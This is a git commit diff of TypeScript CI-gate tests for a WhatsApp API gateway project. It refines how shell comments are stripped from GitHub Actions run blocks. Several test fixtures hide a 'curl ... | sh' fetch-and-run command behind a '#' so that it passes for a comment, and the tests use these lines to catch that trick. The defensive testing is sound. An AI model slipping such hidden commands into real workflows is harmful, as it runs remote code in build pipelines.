Free, Open Source, Self-Hosted WhatsApp API Gateway
TypeScript apibotgatewayself-hostedwhatsappwhatsapp-apiwhatsapp-automationwhatsapp-botwhatsapp-gatewaywhatsapp-gateway-apiwhatsapp-webwhatsapp-web-api
test(ci): read workflow presence checks conservatively
Yudhi Armyndharisc7df9d834158
diff --git a/src/common/ci-privilege-gate.spec.ts b/src/common/ci-privilege-gate.spec.tsindex f547ce18c..93b8804ba 100644--- a/src/common/ci-privilege-gate.spec.ts+++ b/src/common/ci-privilege-gate.spec.ts@@ -1,7 +1,7 @@import * as fs from 'fs';import * as path from 'path';import * as yaml from 'js-yaml';-import { executableLines } from './workflow-lines';+import { executableLines, executableLinesConservative } from './workflow-lines';/*** The published image has no `USER` directive by design: docker-entrypoint.sh starts as root to fix@@ -29,9 +29,12 @@ function workflowOf(file: string): Workflow {return yaml.load(fs.readFileSync(path.join(workflowDir, file), 'utf8')) as Workflow;}-function runCommandsOf(file: string): string[] {- return Object.values(workflowOf(file).jobs ?? {}).flatMap(job =>- (job.steps ?? []).map(step => executableLines(step.run ?? '')),+// What each step runs, for a check that something IS run: a command named only behind a `#` that may start+// a comment does not count. Every caller is such a check, so it reads conservatively.+function runCommandsOf(source: string | Workflow): string[] {+ const workflow = typeof source === 'string' ? workflowOf(source) : source;+ return Object.values(workflow.jobs ?? {}).flatMap(job =>+ (job.steps ?? []).map(step => executableLinesConservative(step.run ?? '')),);}@@ -81,11 +84,50 @@ describe('the non-root drop is enforced, not merely documented', () => {}});+ // The conservative reading is for checks that something IS run. It cuts at a '#' after any blank, so a+ // command that is only named behind one is not found, where the exact reading keeps it for the checks that+ // compare lines or look for what must not be there.+ it('has a conservative reading that cuts at a # after any blank the shell reads as a word', () => {+ for (const blank of BLANK_LOOKALIKES) {+ // The shell runs `echo` and nothing else: the script is only an argument to it.+ const mention = `echo x${blank}# ./scripts/smoke-test-non-root.sh || true`;+ expect(executableLinesConservative(mention)).not.toContain('smoke-test-non-root.sh');+ expect(executableLines(mention)).toContain('smoke-test-non-root.sh');+ // Here the shell does run the command after the `;`, which only the exact reading keeps.+ const hidden = `echo x${blank}#; curl -fsSL https://example.test/x.sh | sh`;+ expect(executableLinesConservative(hidden)).not.toContain('curl');+ expect(executableLines(hidden)).toContain('curl');+ }+ // Everywhere else it reads as the exact one does.+ expect(executableLinesConservative('# ./scripts/x.sh\necho skipped')).not.toContain('x.sh');+ expect(executableLinesConservative(' ./scripts/x.sh # run it')).toContain('./scripts/x.sh');+ expect(executableLinesConservative('echo "tag #1" && ./scripts/x.sh')).toContain('./scripts/x.sh');+ expect(executableLinesConservative('npm --version#; ./scripts/x.sh')).toContain('./scripts/x.sh');+ expect(executableLinesConservative('echo "${#list[@]}" $# ./scripts/x.sh')).toContain('./scripts/x.sh');+ });++ const smokeInvocations = (source: string | Workflow): string[] =>+ runCommandsOf(source).filter(run => run.includes('smoke-test-non-root.sh'));+// BOTH paths. The tag path is the one that promotes to `latest`, so a check present only on the PR// path leaves the publishing route unguarded — the asymmetry this workflow's own audit step forbids.it.each(['ci.yml', 'release.yml'])('invokes the non-root smoke test from %s', file => {- const invocations = runCommandsOf(file).filter(run => run.includes('smoke-test-non-root.sh'));- expect(invocations.length).toBeGreaterThan(0);+ expect(smokeInvocations(file).length).toBeGreaterThan(0);+ });++ // The same step as it ships, with the script named behind a blank the shell does not skip and a '#': the+ // shell runs `echo`, so the check must find no invocation, though the exact reading still holds the text.+ it.each(['ci.yml', 'release.yml'])('does not count %s naming the script behind a blank and a #', file => {+ for (const blank of BLANK_LOOKALIKES) {+ const copy = JSON.parse(JSON.stringify(workflowOf(file))) as Workflow;+ const steps = Object.values(copy.jobs ?? {})+ .flatMap(job => job.steps ?? [])+ .filter(step => (step.run ?? '').includes('smoke-test-non-root.sh'));+ expect(steps.length).toBeGreaterThan(0);+ for (const step of steps) step.run = `echo x${blank}# ./scripts/smoke-test-non-root.sh || true`;+ expect(smokeInvocations(copy)).toEqual([]);+ expect(steps.every(step => executableLines(step.run ?? '').includes('smoke-test-non-root.sh'))).toBe(true);+ }});// The Dockerfile relies on the entrypoint's gosu drop rather than a USER directive. If that ever@@ -257,8 +299,13 @@ describe('a job that can mint a publish credential pins global npm installs andconst oidcJobSteps = (source: string | OidcWorkflow): Array<{ job: string; step: Step }> =>oidcJobs(source).flatMap(([job, def]) => (def.steps ?? []).map(step => ({ job, step })));- const oidcJobRuns = (source: string | OidcWorkflow): Array<{ job: string; run: string }> =>- oidcJobSteps(source).map(({ job, step }) => ({ job, run: executableLines(step.run ?? '') }));+ // Exact by default, which is what the searches for a forbidden installer need; a check that a command IS+ // there passes the conservative reading.+ const oidcJobRuns = (+ source: string | OidcWorkflow,+ read: (run: string) => string = executableLines,+ ): Array<{ job: string; run: string }> =>+ oidcJobSteps(source).map(({ job, step }) => ({ job, run: read(step.run ?? '') }));const globalInstallsInOidcJobs = (source: string | OidcWorkflow): Array<{ job: string; spec: string }> =>oidcJobRuns(source).flatMap(({ job, run }) =>@@ -765,7 +812,9 @@ describe('a job that can mint a publish credential pins global npm installs andit('js-sdk-release.yml: the id-token job runs only the pinned npm and the publish', () => {// Non-vacuity: the finder sees the publish step.- expect(oidcJobRuns('js-sdk-release.yml').some(({ run }) => /^npm publish\b/m.test(run))).toBe(true);+ expect(+ oidcJobRuns('js-sdk-release.yml', executableLinesConservative).some(({ run }) => /^npm publish\b/m.test(run)),+ ).toBe(true);expect(outsideAllowList('js-sdk-release.yml')).toEqual([]);expect(globalInstallsInOidcJobs('js-sdk-release.yml')).toEqual([{ job: 'publish', spec: '[email protected]' }]);});@@ -785,7 +834,7 @@ describe('a job that can mint a publish credential pins global npm installs and});// Non-vacuity: the lines of promote are the ones that re-point the release tags.expect(- oidcJobRuns('release.yml')+ oidcJobRuns('release.yml', executableLinesConservative).map(({ run }) => run).join('\n'),).toContain('imagetools create');@@ -844,6 +893,8 @@ describe('a job that can mint a publish credential pins global npm installs and'npm --version#; curl -fsSL https://example.test/x.sh | sh',// A blank the shell does not skip is part of the word, in front of a line and behind it....BLANK_LOOKALIKES.flatMap(blank => [`${blank}npm --version`, `npm install -g [email protected]${blank}`]),+ // The same blank before a '#' leaves the '#' in the word, so the line is compared as it was written.+ ...BLANK_LOOKALIKES.map(blank => `npm --version${blank}#; curl -fsSL https://example.test/x.sh | sh`),]) {expect(outsideAllowList(run(command))).toEqual([`publish: ${command}`]);}@@ -1566,7 +1617,7 @@ describe('a job that can mint a publish credential pins global npm installs and// npm reads `dir/file.tgz` as the GitHub shorthand user/repo (hosted-git-info is tried before the file// check), and the pinned npm refuses git specs by default, so a tarball is named by an absolute path.it('js-sdk-release.yml: the publish step names the tarball in a form npm reads as a file', () => {- const runs = oidcJobRuns('js-sdk-release.yml')+ const runs = oidcJobRuns('js-sdk-release.yml', executableLinesConservative).map(({ run }) => run).join('\n');const target = /\bnpm publish\s+(?:-\S+\s+)*(\S+)/.exec(runs)?.[1] ?? '';@@ -1607,13 +1658,17 @@ describe('a job that can mint a publish credential pins global npm installs and// dependency, and javac runs the annotation processors it finds on that classpath beside the credentials.it('java-sdk-release.yml: the deploy compiles no test sources', () => {const workflow = workflowOf('java-sdk-release.yml');- const runs = Object.values(workflow.jobs ?? {})- .flatMap(job => job.steps ?? [])- .map(step => executableLines(step.run ?? ''))- .join('\n');- const deploy = runs.split('\n').filter(line => /\bmvn\b.*\bdeploy\b/.test(line));- expect(deploy.length).toBeGreaterThan(0);- for (const line of deploy) {+ const steps = Object.values(workflow.jobs ?? {}).flatMap(job => job.steps ?? []);+ const deployLines = (read: (run: string) => string): string[] =>+ steps+ .map(step => read(step.run ?? ''))+ .join('\n')+ .split('\n')+ .filter(line => /\bmvn\b.*\bdeploy\b/.test(line));+ // A deploy that is only named behind a '#' that may start a comment is not there; every line that the+ // shell may run as one is held to the flags.+ expect(deployLines(executableLinesConservative).length).toBeGreaterThan(0);+ for (const line of deployLines(executableLines)) {expect(line).toContain('-Dmaven.test.skip=true');expect(line).not.toContain('-DskipTests');}@@ -1680,7 +1735,9 @@ describe('a publish job takes the artifact its build job uploads', () => {const indexOfUses = (job: FlowJob, action: string): number =>(job.steps ?? []).findIndex(step => (step.uses ?? '').startsWith(`${action}@`));const dirOf = (target: string | undefined): string => (target ?? '').replace(/\/+$/, '');- const runsOf = (job: FlowJob): string => (job.steps ?? []).map(step => executableLines(step.run ?? '')).join('\n');+ // Only a presence reading is made of it: the publish line is read for the tarball it names.+ const runsOf = (job: FlowJob): string =>+ (job.steps ?? []).map(step => executableLinesConservative(step.run ?? '')).join('\n');it('js-sdk-release.yml: the tarball npm pack writes is the one the publish step names', () => {const { build, publish } = jobsOf('js-sdk-release.yml');@@ -1701,7 +1758,9 @@ describe('a publish job takes the artifact its build job uploads', () => {expect(target).toBe(`"$GITHUB_WORKSPACE"/${dirOf(download.with?.path)}/${path.posix.basename(upload.with?.path ?? '')}`,);- const publishAt = (publish.steps ?? []).findIndex(step => /^npm publish\b/m.test(executableLines(step.run ?? '')));+ const publishAt = (publish.steps ?? []).findIndex(step =>+ /^npm publish\b/m.test(executableLinesConservative(step.run ?? '')),+ );expect(indexOfUses(publish, 'actions/download-artifact')).toBeLessThan(publishAt);});@@ -1841,15 +1900,17 @@ describe('ci.yml moves the branch image tag only for the tested branch head', ()it('re-points the branch tag as the last step, after the smoke, on push, only at the branch head', () => {const steps = dockerSteps();- const smoke = steps.findIndex(step => executableLines(step.run ?? '').includes('smoke-test-non-root.sh'));- const retag = steps.findIndex(step => executableLines(step.run ?? '').includes('imagetools create'));+ const smoke = steps.findIndex(step =>+ executableLinesConservative(step.run ?? '').includes('smoke-test-non-root.sh'),+ );+ const retag = steps.findIndex(step => executableLinesConservative(step.run ?? '').includes('imagetools create'));expect(smoke).toBeGreaterThan(-1);expect(retag).toBeGreaterThan(smoke);// Last, so every check added to this job gates the branch tag, not only the non-root smoke.expect(retag).toBe(steps.length - 1);const step = steps[retag];expect(step.if ?? '').toContain("github.event_name == 'push'");- const run = executableLines(step.run ?? '');+ const run = executableLinesConservative(step.run ?? '');expect(run).toMatch(/git ls-remote/);expect(run).toMatch(/GITHUB_SHA/);});@@ -1912,7 +1973,7 @@ describe('the dashboard unit tests are bounded', () => {};const steps = Object.values(workflow.jobs ?? {}).flatMap(job => job.steps ?? [])- .filter(step => executableLines(step.run ?? '').includes('npm run test:unit'));+ .filter(step => executableLinesConservative(step.run ?? '').includes('npm run test:unit'));expect(steps.length).toBe(1);expect(steps[0]['timeout-minutes']).toEqual(expect.any(Number));});@@ -1932,7 +1993,9 @@ describe.each([])('%s keeps the mirror token away from the SDK test run', (file, pusher) => {type PhpJob = { needs?: string | string[]; env?: unknown; steps?: Step[] };const jobs = (): Record<string, PhpJob> => (workflowOf(file) as unknown as { jobs: Record<string, PhpJob> }).jobs;- const runsOf = (job: PhpJob): string => (job.steps ?? []).map(step => executableLines(step.run ?? '')).join('\n');+ // Exact unless a check is that something IS run, which passes the conservative reading.+ const runsOf = (job: PhpJob, read: (run: string) => string = executableLines): string =>+ (job.steps ?? []).map(step => read(step.run ?? '')).join('\n');const TOKEN = 'PHP_SDK_SPLIT_TOKEN';const workflowEnv = (): unknown => (workflowOf(file) as unknown as { env?: unknown }).env;// The whole job and the workflow's env: a token in the job's container, services or outputs counts too.@@ -1986,10 +2049,14 @@ describe.each([it('runs the tests in a job that holds no token, and the push in a job that needs it', () => {const entries = Object.entries(jobs());- const testers = entries.filter(([, job]) => /\bphpunit\b/.test(runsOf(job)));+ const testersBy = (read: (run: string) => string): string[] =>+ entries.filter(([, job]) => /\bphpunit\b/.test(runsOf(job, read))).map(([name]) => name);// A job that receives any secret (`secrets['X']`, `toJSON(secrets)`) holds the mirror token as well.const pushers = entries.filter(([, job]) => usesToken(job) || holdsSecret(job));- expect(testers.map(([name]) => name)).toEqual(['test']);+ // The job runs it, and no other job may: the first needs a run that is certain, the second any text the+ // shell may run.+ expect(testersBy(executableLinesConservative)).toEqual(['test']);+ expect(testersBy(executableLines)).toEqual(['test']);expect(pushers.map(([name]) => name)).toEqual([pusher]);expect(usesToken(jobs().test)).toBe(false);expect(holdsSecret(jobs().test)).toBe(false);@@ -2010,12 +2077,13 @@ describe.each([});it('names core.hooksPath on the push that carries the token', () => {- const pushes = runsOf(jobs()[pusher])- .split('\n')- .filter(line => /\bgit\b.*\bpush\b/.test(line));+ const pushesBy = (read: (run: string) => string): string[] =>+ runsOf(jobs()[pusher], read)+ .split('\n')+ .filter(line => /\bgit\b.*\bpush\b/.test(line));// The mirror workflow pushes with the URL on a continuation line, so the line is the `git push`.- expect(pushes.length).toBeGreaterThan(0);- for (const line of pushes) expect(line).toContain('core.hooksPath=/dev/null');+ expect(pushesBy(executableLinesConservative).length).toBeGreaterThan(0);+ for (const line of pushesBy(executableLines)) expect(line).toContain('core.hooksPath=/dev/null');});it('refuses every shape that runs Composer, PHP or a project script, and allows what the job runs', () => {diff --git a/src/common/release-gate-parity.spec.ts b/src/common/release-gate-parity.spec.tsindex b90ef8401..6f9b075cf 100644--- a/src/common/release-gate-parity.spec.ts+++ b/src/common/release-gate-parity.spec.ts@@ -3,7 +3,7 @@ import * as os from 'os';import * as path from 'path';import { spawnSync } from 'child_process';import * as yaml from 'js-yaml';-import { executableLines } from './workflow-lines';+import { executableLines, executableLinesConservative } from './workflow-lines';/*** The release workflow publishes the image and the GitHub Release from a tag push. A tag starts@@ -34,9 +34,11 @@ const jobSteps = (file: string, job: string): Step[] => {return steps;};-const gateCommands = (file: string, job: string): string[] =>+// Lines are compared whole, so they are read exactly; a caller that looks for a name inside them passes the+// conservative reading.+const gateCommands = (file: string, job: string, read: (run: string) => string = executableLines): string[] =>jobSteps(file, job).flatMap(step =>- executableLines(step.run ?? '')+ read(step.run ?? '').split('\n').map(line => line.trim()).filter(line => /^npx |^npm /.test(line)),@@ -71,7 +73,9 @@ describe('release gate parity (the tag path runs every branch gate)', () => {expect(gateCommands('release.yml', 'test')).toContain('npm run test:docs');// The postgres lane names its specs inline, so a spec added to ci.yml alone would otherwise// leave the tag path running a strictly weaker suite than the branch it was cut from.- expect(gateCommands('release.yml', 'test-postgres').join(' ')).toContain('message-list-ordering.pg.spec.ts');+ expect(gateCommands('release.yml', 'test-postgres', executableLinesConservative).join(' ')).toContain(+ 'message-list-ordering.pg.spec.ts',+ );});});@@ -184,7 +188,7 @@ describe('release gate jobs can stop the publish jobs', () => {);expect(scan?.with?.['image-ref']).toBe('${{ steps.image.outputs.ref }}');const resolve = (scanJob.steps ?? []).find(step => step.name === 'Resolve staging image ref');- expect(executableLines(resolve?.run ?? '')).toContain(+ expect(executableLinesConservative(resolve?.run ?? '')).toContain('echo "ref=ghcr.io/${REPO,,}:smoke-${{ github.run_id }}" >> "$GITHUB_OUTPUT"',);});@@ -197,17 +201,8 @@ describe('release gate jobs can stop the publish jobs', () => {const tag = steps.find(step => step.name === 'Tag the smoke-tested image with the release tags');expect(tag).toBeDefined();expect(tag?.env?.EXPECTED_DIGEST).toBe('${{ needs.docker.outputs.digest }}');- const lines = executableLines(tag?.run ?? '');- expect(lines).toContain('if [ "$actual" != "$EXPECTED_DIGEST" ]; then');- expect(lines).toContain('if [ "$promoted_digest" != "$EXPECTED_DIGEST" ]; then');- expect(lines).toContain('docker buildx imagetools create --tag "$tag" "$staging"');-const verify = steps.find(step => step.name === 'Verify the release tag resolves and is multi-arch');expect(verify).toBeDefined();- const verifyLines = executableLines(verify?.run ?? '');- expect(verifyLines).toContain('for want in linux/amd64 linux/arm64; do');- expect(verifyLines).toContain('grep -q "$want" /tmp/inspect.txt || { echo "MISSING PLATFORM: $want"; exit 1; }');-// The comparisons end the step when they fail, the steps cannot fail softly, and the digest they// compare against is assigned once, from the build job.const body = (text: string, start: string): string => {@@ -216,16 +211,27 @@ describe('release gate jobs can stop the publish jobs', () => {const to = lines.indexOf('fi', from);return from === -1 || to === -1 ? '' : lines.slice(from, to).join('\n');};- expect(body(lines, 'if [ "$actual" != "$EXPECTED_DIGEST" ]; then')).toContain('exit 1');- expect(body(lines, 'if [ "$promoted_digest" != "$EXPECTED_DIGEST" ]; then')).toContain('exit 1');- expect(lines.match(/\bEXPECTED_DIGEST=/g) ?? []).toEqual([]);- expect(lines.match(/^\s*actual=/gm) ?? []).toHaveLength(1);+ // Both readings: a line has to be there as written and found before any '#' that may start a comment,+ // and what must not be there has to be absent from everything the shell may run.+ for (const read of [executableLines, executableLinesConservative]) {+ const lines = read(tag?.run ?? '');+ expect(lines).toContain('if [ "$actual" != "$EXPECTED_DIGEST" ]; then');+ expect(lines).toContain('if [ "$promoted_digest" != "$EXPECTED_DIGEST" ]; then');+ expect(lines).toContain('docker buildx imagetools create --tag "$tag" "$staging"');+ const verifyLines = read(verify?.run ?? '');+ expect(verifyLines).toContain('for want in linux/amd64 linux/arm64; do');+ expect(verifyLines).toContain('grep -q "$want" /tmp/inspect.txt || { echo "MISSING PLATFORM: $want"; exit 1; }');+ expect(body(lines, 'if [ "$actual" != "$EXPECTED_DIGEST" ]; then')).toContain('exit 1');+ expect(body(lines, 'if [ "$promoted_digest" != "$EXPECTED_DIGEST" ]; then')).toContain('exit 1');+ expect(lines.match(/\bEXPECTED_DIGEST=/g) ?? []).toEqual([]);+ expect(lines.match(/^\s*actual=/gm) ?? []).toHaveLength(1);+ expect(verifyLines).toContain('ref="ghcr.io/${REPO,,}:${GITHUB_REF#refs/tags/v}"');+ expect(verifyLines).not.toMatch(/\|\|\s*true|;\s*true\b/);+ }for (const step of [tag, verify]) {expect(step?.['continue-on-error']).toBeUndefined();expect(step?.if).toBeUndefined();}- expect(verifyLines).toContain('ref="ghcr.io/${REPO,,}:${GITHUB_REF#refs/tags/v}"');- expect(verifyLines).not.toMatch(/\|\|\s*true|;\s*true\b/);});it.each(['boot-smoke', 'image-scan', 'verify-published'])(@@ -310,7 +316,7 @@ describe('the release and weekly audits fail when the audit cannot run', () => {};return Object.values(workflow.jobs ?? {}).flatMap(job => job.steps ?? [])- .filter(step => executableLines(step.run ?? '').includes('npm run check:audit'));+ .filter(step => executableLinesConservative(step.run ?? '').includes('npm run check:audit'));};it.each(['release.yml', 'security-scan.yml'])('%s requires the audit', file => {@@ -392,7 +398,7 @@ describe('every npm tree is audited and kept current', () => {it('js-sdk-release.yml audits the SDK before it installs it', () => {const [audit] = releaseAudits('js-sdk-release.yml', 'build');const install = jobSteps('js-sdk-release.yml', 'build').findIndex(step =>- /^npm ci\b/.test(executableLines(step.run ?? '').trim()),+ /^npm ci\b/.test(executableLinesConservative(step.run ?? '').trim()),);expect(install).toBeGreaterThan(-1);expect(audit.index).toBeLessThan(install);@@ -474,7 +480,7 @@ describe('released images carry a verifiable build-provenance attestation', () =const attest = steps.findIndex(step =>/^actions\/attest(?:-build-provenance)?@[0-9a-f]{40}\b/.test(step.uses ?? ''),);- const retag = steps.findIndex(step => executableLines(step.run ?? '').includes('imagetools create'));+ const retag = steps.findIndex(step => executableLinesConservative(step.run ?? '').includes('imagetools create'));expect(attest).toBeGreaterThan(-1);expect(retag).toBeGreaterThan(attest);expect(steps[attest].with?.['subject-digest']).toContain('needs.docker.outputs.digest');@@ -490,7 +496,7 @@ describe('released images carry a verifiable build-provenance attestation', () =it('verify-published checks the attestation of every promoted tag', () => {const verify = jobs()['verify-published'];- const run = (verify?.steps ?? []).map(step => executableLines(step.run ?? '')).join('\n');+ const run = (verify?.steps ?? []).map(step => executableLinesConservative(step.run ?? '')).join('\n');expect(run).toMatch(/gh attestation verify "oci:\/\/\$ref"/);// The same pins the operator checklist below uses, so a green release proves what docs/04 promises.expect(run).toContain('--signer-workflow "$GITHUB_REPOSITORY/.github/workflows/release.yml"');@@ -531,7 +537,8 @@ describe('both paths exercise the real engine libraries', () => {};const steps = workflow.jobs?.[job]?.steps ?? [];if (steps.length === 0) throw new Error(`${file} has no "${job}" job: the parity spec drifted`);- return steps.map(step => executableLines(step.run ?? '')).join('\n');+ // Every caller looks for a name inside the lines, so this is a check that something IS run.+ return steps.map(step => executableLinesConservative(step.run ?? '')).join('\n');};it.each(['ci.yml', 'release.yml'])('%s build job runs the real-library lane', file => {diff --git a/src/common/workflow-lines.ts b/src/common/workflow-lines.tsindex 3bbeff7f4..e6bc9c524 100644--- a/src/common/workflow-lines.ts+++ b/src/common/workflow-lines.ts@@ -1,31 +1,52 @@/**- * A `run:` block with its shell comments removed.+ * A `run:` block with its shell comments removed, read in one of two ways.** Exists because a script's only appearance in a workflow can be inside a comment, and a substring* match cannot tell a command from a mention — so `# ./scripts/x.sh disabled` would satisfy the* very checks written to catch that. Only executable lines count. Shared by the workflow-gate* specs (ci-privilege-gate, release-gate-parity); lives outside a .spec so importing it does not* drag another spec's describe blocks into the importing suite's run.+ *+ * Which one to use:+ *+ * - `executableLines` is the exact reading: a `#` starts a comment only where the shell starts one, so+ * nothing the shell runs is cut. Use it to compare a line with an expected line or an allow-list, to+ * match a pattern that is anchored, and to look for something that must not be there.+ * - `executableLinesConservative` also cuts at a `#` after any character `\s` matches, U+00A0 and the+ * other blanks the shell reads as part of a word. A command that is only named behind such a `#`, as+ * in `echo x<U+00A0># ./scripts/x.sh || true` where the shell runs `echo` alone, is not found. Use it+ * for a check that something IS run, by substring or by a pattern that is not anchored at the end. It+ * is never a stand-in for the exact reading elsewhere: it would hide the `curl` in+ * `echo x<U+00A0>#; curl y | sh`, and turn `npm test<U+00A0># || true` into a clean `npm test`.*/export function executableLines(run: string): string {+ return withoutComments(run, /[ \t;&|(]/);+}++export function executableLinesConservative(run: string): string {+ return withoutComments(run, /[\s;&|(]/);+}++function withoutComments(run: string, before: RegExp): string {return run.split('\n').map(line => {- const hash = commentStart(line);+ const hash = commentStart(line, before);return hash === -1 ? line : line.slice(0, hash);}).join('\n');}/**- * Where a shell comment starts in `line`, or -1. A `#` begins one at the start of the line, after- * a space or a tab, or after `;`, `&`, `|` or `(`, which end a word, and outside quotes: in- * `npm --version#; curl x | sh` the shell runs the curl, `x=$(true)#; curl y` continues the word its `)`- * closed, and `$#` and `${#list[@]}` are not comments either. Nor is a `#` behind U+00A0 or another- * character that `\s` matches and the shell does not skip. Cutting the line at such a `#` would hide- * the command behind it from every check that reads these lines.+ * Where a shell comment starts in `line`, or -1. A `#` begins one at the start of the line, or after+ * a character `before` matches, and outside quotes. The exact reading passes a space, a tab, `;`, `&`,+ * `|` and `(`, which end a word: in `npm --version#; curl x | sh` the shell runs the curl,+ * `x=$(true)#; curl y` continues the word its `)` closed, and `$#` and `${#list[@]}` are not comments+ * either. Nor is a `#` behind U+00A0 or another character that `\s` matches and the shell does not skip.+ * Cutting the line at such a `#` would hide the command behind it from every check that reads these+ * lines; the conservative reading does cut there, on purpose, for the checks that want that.*/-function commentStart(line: string): number {+function commentStart(line: string, before: RegExp): number {let quote: '"' | "'" | null = null;for (let i = 0; i < line.length; i++) {const char = line[i];@@ -36,7 +57,7 @@ function commentStart(line: string): number {i++;} else if (char === '"' || char === "'") {quote = char;- } else if (char === '#' && (i === 0 || /[ \t;&|(]/.test(line[i - 1]))) {+ } else if (char === '#' && (i === 0 || before.test(line[i - 1]))) {return i;}}